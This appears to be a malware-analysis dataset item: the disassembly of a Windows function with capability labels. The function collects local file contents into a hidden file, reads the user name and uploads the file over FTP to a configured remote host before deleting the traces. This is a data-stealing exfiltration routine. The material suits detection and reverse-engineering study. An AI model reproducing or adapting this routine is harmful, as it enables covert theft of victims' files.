Function at 0x100088c0
Capabilities:
Connect to http server
Create http request
Get session user name
Send file using ftp
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003fd9c
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x10053064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
lea ecx, [ebp - 0x2c8]
push 1
push str.Temp
call fcn.10006010
sub esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x210]
push 1
push str.data30.wot
call fcn.10006010
sub esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x158]
push 2
push str.List
call fcn.100032c0
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
push ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c8]
call fcn.10009550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x100089ee
nop dword [eax]
cmp dword [ebp - 0x90], 0x10
lea edx, [ebp - 0xa4]
push dword [ebp - 0x94]
cmovae edx, dword [ebp - 0xa4]
lea ecx, [ebp - 0x158]
call fcn.100097b0
push eax
call fcn.10007400
add esp, 4
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x2c8]
call fcn.10009550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x100089a0
push ecx
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.10009550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10008a58
nop
cmp dword [ebp - 0x78], 0x10
lea edx, [ebp - 0x8c]
push dword [ebp - 0x7c]
cmovae edx, dword [ebp - 0x8c]
lea ecx, [ebp - 0x158]
call fcn.100097b0
push eax
call fcn.10007400
add esp, 4
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.10009550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10008a10
lea ecx, [ebp - 0x2b8]
call fcn.10003b10
test eax, eax
jne 0x10008a90
mov eax, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x2c8]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d30
lea ecx, [ebp - 0x200]
call fcn.10003b10
test eax, eax
jne 0x10008ac8
mov eax, dword [ebp - 0x210]
lea ecx, [ebp - 0x210]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d30
lea ecx, [ebp - 0x154]
call fcn.10003b10
test eax, eax
jne 0x10008b00
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d30
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Temp
call fcn.1001f52f
add esp, 4
mov dword [ebp - 0xa8], 0x64
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x10008bad
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x100588b8]
mov edi, eax
push dword [0x100588b4]
push 0x15
push dword [0x100588b0]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp - 0x74]
push 2
push eax
push str.List
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10008ddb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push str.List
call fcn.1001f52f
push str.data30.wot
call fcn.1001f52f
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x10008be8
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10008bde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10008dd6
push ecx
push edx
call fcn.10018612
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
cmp ecx, 0x10
jb 0x10008c3b
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10008c31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10008dd6
push ecx
push edx
call fcn.10018612
add esp, 8
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x15c], eax
lea ecx, [ebp - 0x154]
call fcn.10002f10
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x15c], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.10017e5a
mov eax, dword [ebp - 0x210]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x214], eax
lea ecx, [ebp - 0x200]
call fcn.10002f10
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x214], eax
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10017e5a
mov eax, dword [ebp - 0x2c8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2cc], eax
lea ecx, [ebp - 0x2b8]
call fcn.10002f10
mov eax, dword [ebp - 0x2c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2cc], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10017e5a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100185cf
mov esp, ebp
pop ebp
ret
call fcn.1001f358
push str.List
call fcn.1001f52f
add esp, 4
call fcn.10008320
int3